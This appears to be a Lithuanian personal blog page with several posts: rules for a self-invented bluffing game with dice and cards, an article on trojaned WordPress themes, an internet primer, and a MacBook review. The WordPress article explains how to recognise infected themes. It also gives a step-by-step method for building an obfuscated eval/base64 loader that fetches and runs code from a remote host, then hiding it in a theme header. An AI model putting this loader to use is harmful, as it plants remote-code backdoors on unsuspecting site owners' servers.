Psi — Psichologinis Žaidimas

Žaidimas „Psi“ — tai mano prieš kokį pusmetį sugalvotas žaidimas, kuris gimė iš idėjos sukurti grynai psichologinį žaidimą (o ši idėja kilo iš mano žavėjimosi psichologiniais momentais pokeryje). Žaidimas tikrai įdomus, jei mėgsti mąstyti, kliautis intuicija, analizuoti kitus arba… manipuliuoti kitais (: Visko šitame žaidime yra, ir jei moki tuo pasinaudoti (moterys visa tai daro puikiai, tad jos šitą žaidimą žaidžia tikrai geriau), žaidimas teikia daug džiaugsmo ir smegenų mankštos. Žaidimas skirtas nuo dviejų iki kiek tik nori žaidėjų, trunka 5-10 minučių.

Ko reikia žaidimui

Žaidimą galima žaisti originaliai (su kauliukais ir kortelėmis), be kauliukų (tik su kortelėmis) ir be kortelių (tiesiog ant popieriaus). Viską (priemones, taisykles ir t.t.) aiškinsiu atskirai šiems trimis žaidimo būdams.

Originaliai žaidimui reikia dviejų paprastų kauliukų ir tiek kortelių komplektų su kortelėmis nuo 1 iki pasirinkto raundų skaičiaus (dažniausiai 6), kiek yra žaidėjų. Tarkime, jei yra 2 žaidėjai (taip žaisti įdomiausia, nes tuomet tai tampa tiesioginiu dviejų smegenų mūšiu vienas prieš vieną), tuomet tinka du paprastų kortų rinkiniai — pavyzdžiui, vienam žaidėjui širdys nuo tūzo (1) iki šešeto (6), kitam pikai nuo tūzo iki šešeto.

lenteleJeigu turite tik kortas, jomis galima pakeisti kauliukus. Tai labai patogu, kai žaidimą žaidi judančioje aplinkoje, pavyzdžiui, mašinoje. Tokiam žaidimo būdui reikia, jog kiekvienas žaidėjas gautų vieną kortų komplektą su skaičiais nuo 1 iki 6 (nuo tūzo iki šešeto; tai yra „kauliukų metimo kortos“), o kitą komplektą su kortomis nuo 1 iki pasirinkto raundų skaičiaus (dažniausiai taip pat nuo 1 iki 6). Žaidžiant dviems žaidėjams patogu pasidalinti spalvomis. Tarkime, vienas žaidėjas gali būti raudonasis (būgnai skirti kauliuko metimui, širdys — statymui (apie statymą vėliau)), kitas juodasis (analogiškai kryžiai ir pikai).

Galiausiai, galima žaisti tiesiog ant popieriaus. Tam reikia lentelės, kuri būtų sudaryta iš keturių stulpelių ir tiek eilučių, kiek bus raundų. Pirmasis stulpelis su skaičiais rodo visas turimas statymo „korteles“ ir randų skaičių. Antrasis ir trečiasis stulpelis skirtas kauliukų metimams, ketvirtasis stulpelis yra dviejų langelių pločio ir jame užrašomas rezultatas po kiekvieno raundo.

Žaidimo taisyklės

Žaidimas susideda iš tiek raundų, kiek statymo kortelių turi kiekvienas žaidėjas. Kiekvienas raundas susideda iš dviejų etapų — kauliukų metimo, per kurį išmetami du kauliukai ir gaunama jų suma (nuo 2 iki 12), ir statymo, per kurį žaidėjai slapta pasirenka vieną iš statymo kortelių ir vėliau, parodžius pasirinkimus, paaiškėja, kuris žaidėjas gavo kauliukų išridentus taškus. Taip po visų raundų laimi žaidėjas, surinkęs daugiausia taškų.

1 etapas: kauliukų ridenimas

Žaidžiant originaliai (su kauliukais) kauliukų ridenimo etapas paprastas: jei žaidžia du žaidėjai, kiekvienas jų kiekvieno raundo pradžioje išridena po kauliuką ir sudėjus juos gaunami „išridenti taškai“.

Jei žaidžiama antruoju būdu (su kortomis), tuomet kiekvieno raundo pradžioje žaidėjai du kartus slapta pasirenka vieną iš kauliukų metimo kortų ir vėliau parodo savo pasirinkimą. Sudėjus abiejų žaidėjų pasirinktų kortų reikšmes gaunama suma. Jei suma didesnė už 6, tuomet iš skaičiaus atimama 6. Tarkim, jei pirmasis žaidėjas pasirinko 2, o antrasis 3, tuomet kauliukas išrideno 5. Jei žaidžia trys žaidėjai, pirmasis pasirinko 2, antrasis 5, o trečiasis 3, tuomet skaičių suma yra 10, tai daugiau nei 6, 10-6=4, taigi kauliukas išrideno 4. Šis procesas pakartojamas du kartus, taip išmetami du kauliukai, jų suma ir yra tas skaičius, dėl kurio statoma.

Jei žaidiama ant popieriaus, tuomet kiekvieno raundo pradžioje žaidėjai antrame ir trečiame stulpelyje įrašo skaičius nuo 1 iki 6, tuomet paeiliui pasako savo įrašytus skaičius antrame stulpelyje, taikoma anksčiau aprašyta aritmetika ir gaunama pirmojo kauliuko reikšmė. Tuomet pasakomi trečiojo stulpelio skaičiai ir gaunamas antras kauliukas.

Tokia sudėtinga sistema reikalinga tam, jog nei vienas žaidėjas negalėtų daryti įtakos galutiniam rezultatui. Iškritusio kauliuko reikšmė visiškai priklauso nuo kiekvieno žaidėjo. Be to, įpratus sistema tikrai nėra sudėtinga (:

2 etapas: statymas

Išridenus abu kauliukas ir gavus sumą (skaičių nuo 2 iki 12), prasideda statymo etapas. Jame žaidėjai pasirenka vieną iš nepanaudotų statymo kortelių, kurią stato dėl gautos sumos. Čia yra visa žaidimo esmė: vieną statymo kortelę galima panaudoti tik vieną kartą, taigi reikia gerai apsvarstyti savo pasirinkimą, tačiau dar svarbiau — atspėti, ką pasirinks priešininkas ir statyti vienu daugiau. Pradedi suprasti visą psichologiškumą ir smagumą? (:

Žaidžiant pirmuoju arba antruoju būdu (t.y., turint tikras statymo korteles) statymas vyksta labai paprastai: žaidėjas slapta pasirenka vieną iš nepanaudotų kortelių ir užverstą pasideda prieš save arba laiko rankoje. Visiems žaidėjams pasirinkus, kortelės atverčiamos ir pastatęs daugiau gauna išridentus taškus. Jeigu visi žaidėjai pastatė po lygiai, taškų negauna nei vienas žaidėjas. Jeigu žaidžia daugiau nei du žaidėjai ir keli žaidėjai (tačiau ne visi) pastatė daugiausiai (tarkim, 5, 5 ir 4), tuomet visi tie žaidėjai gauna išridentus taškus. Laimėtojai užsirašo gautus taškus (prideda juos prie jau turimų taškų), ir visi žaidėjai palieka panaudotas korteles atverstas ant stalo (taip kiti žaidėjai gali matyti, kurias korteles jau panaudojo jų priešininkai. Jeigu žaidėjams dar liko nepanaudotų kortelių (t.y., buvo ne paskutinis raundas), vėl kartojasi kauliukų ridenimo ir statymo etapas, kol žaidėjams nebelieka statymo kortelių.

Žaidžiant ant popieriaus žaidėjai tiesiog apibraukia pasirinktą statymo kortelę (skaičių pirmame stulpelyje) ir vėliau paskelbia savo pasirinkimą. Visa kita vėliau vyksta taip pat, kaip ir statant tikras korteles. Kadangi žaidimas vyksta ant popieriaus, neįmanoma palikti atverstų jau panaudotų kortelių, todėl visai pravartu pasidaryti po atskirą stulpelį kiekvienam žaidėjui, kuriame būtų galima žymėti kitų jau panaudotas korteles. Kilus įtarimams dėl melo visada galima patikrinti, ką žaidėjas pažymėjo lapelyje (ar nemelavo dėl skaičių kauliukų metimo etape ir dėl apibraukto statymo pasirinkimo).

Žaidimo pabaiga

Kai žaidėjams nebelieka kortelių (įvyksta paskutinis raundas), laimi tas žaidėjas, kuris per visą žaidimą surinko daugiausiai taškų.

Taktika ir taip toliau

Žaidimas smagus tuo, jog sėkmės faktorius ir įgūdžiai yra visiškai sumažinti. Viskas, ko reikia dviejų žaidėjų žaidime, yra tiesiog atspėti ką pasirinks kitas žaidėjas ir statyti vienu daugiau. Taip taškus gausi penkis kartus iš šešių ir pergalė beveik garantuota (: Trijų ir daugiau žaidėjų žaidime taktika skiriasi, tačiau vis tiek egzistuoja. Būtent šis stiprus psichologiškumas lemia tai, jog žaidimą sunku žaisti daug kartų iš eilės. Kiekvienas raundas reikalauja geros intuicijos arba daug analizavimo (neretai ir manipuliavimo priešininko mintimis, kai mąstai garsiai ar kitaip stengiesi paveikti jo pasirinkimą), taigi po kelių žaidimų norisi daryti pertrauką. Bet sakau jums, šitas žaidimas kietas (:

Dar šis bei tas — jei žaidžia du žaidėjai, optimaliausia turėti 6 statymo korteles, jei žaidžia daugiau žaidėjų siūlau turėti trigubai daugiau randų/statymo kortelių, nei yra žaidėjų: 3 žaidėjams — 9, 4 žaidėjams — 12. Taip išlaikomas mažas sėkmės faktorius, kuris pasidarytų labai didelis, jei būtų daug žaidėjų ir mažai kortelių.

Štai ir viskas! Gana paprastam žaidimui sukūriau labai ilgą aprašymą, tačiau tikiuosi, kad jame yra visi atsakymai į visus klausimus (: Pažaiskite, išmokykite kitus ir būtinai pakomentuokite, kaip patiko, nes nuo to priklausys, ar žaidimą toliau plėtosiu.


WordPress temų hakeriai

Ne vieną kartą teko girdėti, o kartą ir pačiam išvysti, kaip atrodo hakerių nulaužtos WordPress temos. Šio straipsnio tikslas yra išmokyti jus atpažinti tokias pavojingas temas [šablonus, kaip kiti vadina], paaiškinti, kaip jos veikia, ir… šiek tiek pamokyti jus pačius nulaužinėti WordPress temas (aš pats to niekada nedariau ir tikrai (turbūt) nedarysiu, tačiau šis principas visai įdomus, taigi kodėl jo neišmokus? (: )

Kas tai?

Pirma, kas tai, kaip tai veikia ir kaip tai atpažįstama. Būdas, apie kurį kalbu (jų, žinoma, yra ne vienas), veikia taip:

  1. Laužėjas parsisiunčia populiariausias WordPress temas ir jas pakeičia, įterpdamas specialų PHP kodą (kodo pavyzdžiai bus žemiau).
  2. Jis sukuria kokį nors puslapį, kurioje talpina tas temas, neužsimindamas apie jokias modifikacijas. Tie puslapiai dažniausiai vadinasi “Best free WordPress themes” ar kažkas panašaus. Failai talpinami pačiame laužėjo serveryje, o temos autorius apie tokių puslapių egzistavimą dažniausiai nežino.
  3. Laužėjo puslapis greitai tampa populiarus, nes dažnas žmogus Googlyje ieško būtent tokių raktinių žodžių (best free wordpress themes).
  4. Žmonės parsisiunčia infekuotas temas, jas pradeda naudoti savo puslapiuose, laužėjo kodas pakraunamas kiekvieną kartą ir modifikuoja temą parsisiuntusio žmogaus svetainę jam nieko net nežinant (dažniausiai tiesiog įterpia daug nematomų nuorodų taip keldamas savo puslapių reitingą ir neretai žlugdydamas nekaltų žmonių puslapių vertę Google akyse)

Kaip tas kodas atrodo ir kaip jis atpažįstamas?

Dažniausiai kodas atrodo kaip visiška nesąmonė, raidžių košė, ir PHP nesuprantantys eiliniai vartotojai tiesiog bijo ką nors daryti, nes dar ką nors sugadintų… Ta makaliošė atrodo, pavyzdžiui, taip:

1
@eval(@base64_decode('QGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbGVrZXZpY2l1cy5sdC9oYWNrLnBocCIpKTs='));

Tai gana sudėtingas kodas, kuriame yra daug PHP kalbai specifinių dalykų, bet prieš gilinantis į konkretų veikimą, labai trumpai, ką šitas kodas iš tiesų padaro: jis iškoduoja šitą raizgalynę, ir paaiškėja, kad po ja slepiasi komanda parsiųsti nurodyto failo turinį ir jį įvykdyti. Tai yra failas laužėjo serveryje, ir bet koks to failo turinys yra įvykdomas nieko nežinančio žmogaus serveryje. Dar gerai, kai tas kodas tik prideda nuorodų… galėtų ištrinti ir visą WordPress sistemą…

Yra keli būdai kaip jį atpažinti ir išvengti visokių bėdų:

  1. Temas siųskis tik iš kūrėjo puslapio. Geriausia, jog tai būtų patikimas ir santykinai žinomas autorius, nes gali atsirasti tokių, kurie kurs naujas temas specialiai dėl piktų kėslų.
  2. Dėl viso pikto permesk akimis temų failus ir pasižiūrėk, ar nėra tokių raidžių raizgalų. Jei yra — jokiu būdu nenaudok tos temos.
  3. Ir trečias būdas — klausyk, ką dūzgia blogosfera, WordPress oficialus ir kiti su šia sistema susiję blogai. Taip apie pavojų būsi įspėtas gana anksti, manau (:

Kaip pačiam paslėpti piktąjį kodą?

Žinau, kad laukei šitos dalies (: Jai reikės šiek tiek žinių, o ypač daug PHP žinių reikės rašant patį savo kenkėjišką kodą (čia jau patarimų neduosiu).

Pirma, mums reikės interneto serverio. Dauguma jį turi. Toliau reikės interneto adreso. Šitą turi visi, kas turi serverį. Jeigu nori būti „profesionalus niekšas”, tuomet adresas turėtų būti kuo trumpesnis. Tarkim, qdrxv.us ar kažkas panašaus. Prasmės jam visai nereikia. Kai viską turi, įkelk savo kenkėjišką kodą į failą su labai trumpu pavadinimu (tarkim, h.p). PHP galūnė faile nebūtina, o pačiame faile neturi būti <?php ir ?> ženklų. Tarkime, tavo blogio failas http://qdrxv.us/h.p atrodo taip:

1
print "labas";

Pirma dalis padaryta. Dabar reikia šią komandą užkoduoti. Paleidę tokią PHP komandą

1
print base64_encode('@eval(@file_get_contents("http://qdrxv.us/h.p"));');

gauname mums labai reikalingą raizgalą. Tada tą raizgalą įstatome į šią vietą:

1
@eval(@base64_decode('QGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vcWRyeHYudXMvaC5wIikpOw=='));

Šis kodas ir yra tas, kurį reikia paslėpti tarp temos failų. Geriausia dėti kur nors headeryje (: Siūlau pasibandyti, kokios yra tavo galimybės, kas veikia ir kas ne, bet pats principas toks. Laikas maniakiškui juokui: muahahahaha!


Kaip veikia internetas?

Prieš pradėdamas aiškinti, kaip pačiam susikurti interneto puslapį, noriu papasakoti, kaip visa šita mašina veikia. Straipsnį rašau tiems, kas dar nežino daug apie domenus, serverių veikimą ir kitus dalykus. Gykams skaityti turbūt nebus įdomu.

internet_map_1024

Internetas yra milžiniškas kompiuterių tinklas. Paveiksliukas viršuje yra “interneto žemėlapis”, kuriame tavo kompiuterio turbūt net nėra. Bet kažkur čia tikrai turi būti Teo šakelės (mūsų dievas internetą perperka iš dar didesnių už jį interneto tiekėjų). Šakelės žymi mažesnius tinklus ir serverius. Serveris — tai (dažniausiai) galingas kompiuteris, kuris sutvertas greitai teikti informaciją kitiems prisijungusiems kompiuteriams. Visi tavo aplankomi puslapiai yra patalpinti tokiuose serveriuose. Kai nori pats į juos įdėti savo tinklapį, serverio savininkui moki mokestį už dalinę (arba pilną) serverio nuomą.
Internete visa informacija keliauja protokolais. Protokolas iš esmės yra taisyklių rinkinys, kuris aiškina, kaip elgtis su informacija. Visiems gerai matytas HTTP protokolas yra naudojamas persiųsti tinklapius (HyperText Transfer Protocol). Kitiems dalykams jis nelabai tinkamas, nes skirtingoms reikmėms reikia skirtingų sąlygų. Kitas svarbus protokolas yra FTP (skirtas greitai persiųsti failus).

Internete kompiuteriai turi mokėti atpažinti vienas kitą. Todėl visi prie interneto prisijungę kompiuteriai gauna IP adresą, kuris sudaromas iš keturių skaičių, atskirtų taškais. Savąjį gali sužinoti čia. Anksčiau žmonės, norėdami prsijungti prie kokio nors serverio, rašydavo visą jo IP adresą. Laimei, ilgainiui kilo domenų idėja. Vietoj to, kad mano puslapį pasietum rašydamas daug skaičiukų, gali įrašyti lengvai suprantamą žodį “lekevicius” ir pridurti, kad puslapis lietuviškas.

Realiai tiek esminių dalykų reikia žinoti prieš kuriant savo tinklapį. Prie čia aptartų temų sugrįšiu vėliau aprašydamas, kaip pasirinkti serverį, naudotis FTP ir įsigyti bei susitvarkyti domeną.


Didžioji MacBook Apžvalga

MacBook’ą intensyviai naudoju jau beveik metus, o labai seniai buvau pažadėjęs apžvelgti visus mako pliusus ir minusus kuo objektyviau. Pasistengsiu. Apžvalga išėjo tikrai netrumpa, tad patariu skaityti tiems, kam aktualu.

Kompiuteris

Kompiuteris

Pliusai:

  1. Gražus. Labai gražus. Nes tokie jau žmonės iš Apple, jie tiesiog negali leisti sau pagaminti gaminio, kuris nebūtų visų pirma estetiškai malonus pažiūrėti. O su gražiu daiktu maloniau ir dirbti.
  2. Viskas, ko gali reikėti. Neblogi garsiakalbiai, geras mikrofonas ir tikrai nebloga web kamera. Minčių nusipirkti atskirą gaminį, kuris kompensuotų trūkumus nekyla, nes beveik nėra ką kompensuoti. Be to, kai visi šie dalykai integruoti ir visada parengti naudoti, nebūna taip, kad prasidėjus Skype skambučiui reikėtų chat lange rašyti “lukterk, susitvarkysiu mikrofoną ir prisijungsiu kamerą”.
  3. Greitas ir praktiškas procesorius. Dvibranduolinis 2GHz procesorius tikrai nesudaro įspūdžio, kad naudojiesi nešiojamuoju kompiuteriu. Be to, praktiškas: dabar jau nebe PPC, bet Inter procesorius leidžia šalia Mac OS turėti ir Windows’us (juk kartais jų prisireikia…)
  4. Smulkmenos. Būtent jos ir yra svarbiausias dalykas, nes jų dėka daiktas nustebina tuomet, kai nesitiki. Daug jų, paminėsiu kelias: jei netyčia užkliudai krovimosi laidą, tai kompas nepadaro milžiniško bum ant grindų, nes kroviklio laidas magnetinis. Jis tiesiog atšoka nuo kompiuterio. Laukelis pirštu varinėti ir taip valdyti pelę taip pat gudrus — jei po jį stumdai du pirštus, juda ne pelė, o slenkasi vaizdas (scroll),  kliktelėjimas dviem pirštais veikia kaip kliktelėjimas dešiniuoju pelės mygtuku ir t.t. Klaviatūros mygtukai taip pat labai patogūs.

Minusai:

  1. Makai yra brangūs. Faktas, kad jie gerokai brangesni už panašių parametrų kitų firmų kompiuterius. Nes moki už aukštą kokybę, ir ji ne pigi. Bet, atrodo, atsiperka. Visų pirma, kokybišką daiktą malonu naudoti, antra — kompiuteriai ilgaamžiškesni nei PC (žinau žmonių, sėkmingai naudojančių ir 8 metų senumo Makus. Ir tokie kompiuteriai čia nelaikomi visiškomis senienomis, tai visai normalu).
  2. Baltas kompiuteris nors ir gražus, bet labai greit susipurvina ir tie susipurvinimai iškart matosi. Iki įsigijant MacBook beveik nevalydavau kompiuterio, dabar kažkaip tenka… O juodas šito kompiuterio brolis turi kitą minusą — iškart matosi susibraižymai.
  3. Tik du USB portai. Vieną naudoja pelė, kitą — dažniausiai prijungtas išorinis kietasis diskas. Tad jei reikia prijungti kitą USB įrenginį, tenka atjungti vieną iš šitų. O jei tenka prijungti du, arba net tris? Kituose Makuose USB portų daugiau, bet šitame jų stygius tikrai jaučiamas.
  4. CD rašytuvą dengia tik dvi plonos medžiaginės juostelės, nėra normalaus dangtelio. Tiesiog kartais atrodo, kad ten gali būti nelabai švaru, o visgi švara ten būtina. Hm.
  5. Visko integravimas yra ir gerai (nes niekuo nereikia rūpintis), bet kartu ir sukelia tam tikrų problemų tiems, kuriems patinka viską ardyti/keisti/permontuoti. Man tikrai nesinori atnaujinti mikrofono, bet ką žinai, gal kas nors norės. Ir tuomet jam kils šiokių tokių problemų. Džiugu bent tai, kad paprastuose MacBook’uose baterija yra keičiama gana paprastai ir nėra įmontuota giliai ir nejudinamai, kaip MacBook Air.
  6. Ir visokios smulkmenos. Kažkas sako, kad ekranas radioaktyvus. Kažkas kalba, kad laidai labai žalingi aplinkai (ta prasme, nemesk į konteinerį mako). Visko kalba, bet šito nepatikrinsi ir man viskas čia gerai (nesijaučiu paveiktas gama spinduliais).

Laiko mašina

Operacinė Sistema ir Programos

Pliusai:

  1. Viskas vėl labai gražu. Visos ikonos – didelės ir stilingos. Animacijos – kur reikia ir labai sklandžiai. Ir tas tikrai neerzina (nebent turi labai daug gykiško kraujo). Principas jų paprastas ir malonus: kurti žmogišką operacinę sistemą. Kuri būtų kiek įmanoma labiau user-friendly. Todėl visi pakeitimai yra nedaromi iškart (click – boom -kas čia įvyko?), bet jei tai svarbu, viskas yra parodoma animacija (kodėl tas langas čia atsirado ir t.t.). Perėjus nuo Windowsų, kur viskas vyksta be jokių animacijų (išskyrus Vistoje, kur su animacijomis jau persistengta), tai labai maloniai stebina.
  2. Viskas yra itin kokybiška. Visos programos rašomos labai kruopščiai ir neatmestinai. Niekada neužmirštamas geras dizainas. Jei galima, visada parūpinama integracija su kitomis sistemos dalimis. Visa vienybė (tarp operacinės sistemos ir programų) išlaikyta, o bet koks nukrypimas nuo standartų yra nemaloniai sutinkamas. Po windowsinių programų stilių ir veikimo šurmulio tikrai malonu žinoti, kad nustatymai visada bus toje pačioje vietoje (kaip ir pagalbos meniu ir t.t.) O programos, kuri būtų windowsams ir kurios man trūktų make, dar nebuvo. Netgi tų pačių programų (kaip VLC) analogai Mac OS veikia žymiai geriau ir gudriau. Kodėl – neįsivaizduoju, bet tai labai smagu {:
  3. Viskas iš karto parengta. Gavus naują kompiuterį (ar perinstaliavus operacinę sistemą) nereikia ieškoti programų, kurios kopijuotų muziką iš audio CD, programų tarkyti nuotraukoms ar kurti filmams, nes viskas iškart parengta. Ir iMovie tai ne Windows Movie Maker, nuo kurio norisi eiti kuo toliau. Iškart randi programas beveik viskam, ir randi jas labai kokybiškas (žr. 2 punktą).
  4. Unikalios galimybės. Ir visada žingsniu priekyje. Kitose operacinėse sistemose tiesiog nėra tokių inovacijų, kurios seniai įdiegtos Mac OS. Dar smagiau yra patyti, kaip tobulėja Windowsai. Mac OS įdiegė labai greitą failų paiešką (mano labai pamėgtą įrankį. Paieška tokia greita, jug man paprasčiau paspausti paieškos mygtuką ir įvesti kelias raides, nei pakrauti programą iš programų aplanko), tokią failų paiešką jau matome Vistoje. Makas įdiegė dashboard widgets — ir štai po kelių metų tokie atsirado Windowsuose. Dabar Mac OS šoka dar toliau: nuolatiniai back’upai (turiu visas savo kompiuterio versijas nuo lapkričio), kurie turbūt bus nukopijuoti į dar kitą Windowsų versiją, ir daug kitų naujovių. Tiesiog: galimybės, kurių nėra niekur kitur, čia ateina pirmiausiai.
  5. Saugumas. Virusų nėra. Sakyk ką nori, antivirusinės nenaudoju, nes virusų tiesiog nėra. Buvo visokių badymų, bet jie nepavyko. Toks geras jausmas, kai žinai, jog tavo kompiuteris saugus.
  6. Programuotojo rojus. Php, python, ruby, rails, apache ir visas milžiniškas programavimo paketas su visų įmanomų kalbų dokumentacija. Sunku surasti sistemą, kuri būtų galingesnis įrankis programuotojui. Ir viskas nemokamai.
  7. Kiti dalykai: viskas veikia itin greitai (štai kas nutinka, kai programas + hardware gamina viena kompanija), itin integruotai, atnaujinimai pakankamai dažni (ir tai yra gerai), dar daug visko, kas dažnai nustebina.

Minusai:

  1. Už kokybę reikia mokėti. Kaip yra tradicija makui gaminti tik pačios aukščiausios kokybės programas, taip yra ir tradicija už jas visada imti nedidelį mokestį. Nemokamų programų makui nedaug, o ir tos tėra tik nelabai vykę windowsinių programų portai į Mac OS (nėra mano išgirtosios integracijos ir kitų dalykų). Užtat shareware programų už kelias dešimtis dolerių – apstu. Būtent jos ir turi mano minėtą kokybę. Tad jeigu nori naudoti freeware makas nelabai tam tinkamas. Bet jeigu galėjai už kompiuterį sumokėti nemažai, turbūt galėsi sumokėti ir už programas.
  2. Minėtas grožis ir animacijos gali erzinti. Bet jų tikrai nėra tiek daug, kiek galėjo pasirodyti. Priprantama.
  3. Kiek sunkiau priprasti prie draugiškumo vartotojui tam tikrose situacijose. Pavyzdžiui, gerai prisimenu pirmus bandymus prisijungti prie namų bevielio tinklo. “There was an error connecting to blah blah”. Ir nieko daugiau tu iš jo neišpeši. Niekaip. Windowsuose gauni bent klaidos numerį ar dar ką nors. Čia viskas labai draugiškai: jokių įtartinų skaičių. Tai taip ir spėlioji, kas gi čia blogai…
  4. Svarbu suprasti, kad Mac OS yra kitokia nei windows. Išjungimo mygtukas kitoje pusėje. Maximise mygtukas nelabai egzistuoja. Ir apskritai, beveik viskas yra kitaip. Beveik viskas yra geriau, bet kitaip. Ir tenka priprasti. Ko windowsų veteranai kartais nesugeba…

Apibendrinimas ir kitka

Makas yra sutvertas tau, jei esi nors kiek labiau pažengęs kompiuterio vartotojas ir už darbo instrumentą gali sumokėti daugiau. Šalia labai gero daikto gausi tai, kas nėra aprašyta jokiame vartotojo vadove: pakliūsi į naują, “kitaip mąstančių” bendruomenę, kurioje žmonės labai linkę padėti vienas kitam. Nes Apple – ne tik kompiuteris, šiaip ar taip. Tai ir tam tikra filosofija.

Sėkmės naudojantis {:



Mane rasi

TwitterTumblrFacebookBehanceLinkedInGoogle BuzzFlickrdeviantArtVimeoYouTube

Twitter

  • himno giedojimas V. Kudirkos aikštėje - trumpiausias (2 min?) masinis renginys, kuriame buvau (: 3 weeks ago
  • Beje, žinau, kad daug kas rodo live-stream'ą, štai lifehacker'io sąrašas: http://bit.ly/9sgq7M Tačiau VISI jie turi location restrictions. 1 month ago
  • Stebiu Danija vs. Olandija. 2010, ir niekas negali live-streaminti vaizdo internetu? Tenka tenkintis fifos text-sreamu. 1 month ago
  • SQLBuddy (http://www.sqlbuddy.com/) dėka galiu nebenaudoti PHPMyAdmin. Jei administruoji MySQL duombazes, būtinai išbandyk. Gėėėėris. 2 months ago
  • Smashing Magazine naujausiame įraše yra ir mano wallpaper'is: http://ow.ly/1FKRk Komentarai džiugina. 3 months ago

Flickr

IMG_0885IMG_0897IMG_0867IMG_0863IMG_0861IMG_0857